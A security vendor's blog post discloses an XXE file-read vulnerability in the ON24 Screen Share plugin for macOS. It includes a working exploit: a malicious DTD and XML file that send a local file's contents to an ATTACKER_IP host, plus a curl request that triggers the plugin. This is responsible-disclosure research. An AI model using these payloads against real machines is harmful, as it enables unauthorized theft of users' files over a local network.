Loading...
Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

Vulnerability in ON24 Plugin for macOS Shares More Than Just Your Screen

ON24 presenter mode requires you to install a plugin that is used to share your screen. For the macOS app (DesktopScreenShare.app), the plugin is started automatically once a user logs on. If you ever presented using ON24 platform, you’ll have an entry like this on a macOS system:

P1

Once the plugin starts it launches a simple web server on port 5012. What is more important, via a series of requests, malicious users on the same network can fetch files from the computer running the plugin without any authorization.

Let’s take a deeper look at how this happens. We will discuss ON24 Screen Share plugin version 1. An attacker will have access to the HTTP server created by the Screen Share plugin on TCP port 5012 as long as he or she is on the same local area network. Here is a typical output of an nmap scan from a remote machine:

P2

Next, the attacker must prepare another HTTP server that will handle configuration file requests originating from the Screen Share plugin. A very simplistic approach would be to use Python code to do that (refer to our POC on GitHub).

Attacker-provided HTTP server must serve files from the following directory structure:

files/
    ext2.dtd
    log
    eventManager/
        EventLogServlet
    view/
        screenshare/
            prod-north_america-ingress.xml

In red are actual files, in black are directories. Here is the contents of DTD and xml files:

ext2.dtd

<!ENTITY % file SYSTEM "file:///etc/ntp.conf">
<!ENTITY % wrapper2 "<!ENTITY send SYSTEM 'http://ATTACKER_IP:PORT/log?%file;'>">
%wrapper2;

prod-north_america-ingress.xml

<?xml version="1.0" ?>
<!DOCTYPE fms-server SYSTEM "http://ATTACKER_IP:PORT/ext2.dtd">
<screenshare-ingress-servers><fms-server>&send;</fms-server></screenshare-ingress-servers>

ATTACKER_IP:PORT combination must be replaced with actual IP and PORT values of the attacker-provided HTTP server.

In the above directory structure, log and EventLogServlet are empty files.

The attack itself is triggered by a simple HTTP request like below (again, replace ATTACKER_IP:PORT with the attacker-provided HTTP server information first):

curl -v "http://TARGET_IP:5012/start?param1=&hostname=ATTACKER_IP:PORT&eventId=1&presenter=1&presenterName=MR&_="

The above request will reach out to the built-in HTTP server of the Screen Share plugin, which in turn will try to collect its configuration from hostname value which will go to the attacker-controlled HTTP server. There, a simple XML External Entity vulnerability (XXE) will be exploited to send back the contents of files readable by the currently logged-on user. One caveat is that the path of the file to be read must be known beforehand.

If the HTTP server hosted by the attacker is not reachable, a message like that below will pop up on the victim’s macOS:

P3

If the HTTP server is reachable, the exploit will work:

P4

This proves that the file in question (/etc/ntp.conf) is read and its contents are sent via URL request to the attacker-controller server.

As a part of our Responsible Disclosure policy, Trustwave has reached out to the ON24 to ensure that a patch was released prior to public disclosure. A patch was released but we have been unable to verify it.

References

TWSL2021-010 : Remote File Access Vulnerability in ON24 ScreenShare Plugin for macOS

Related SpiderLabs Blogs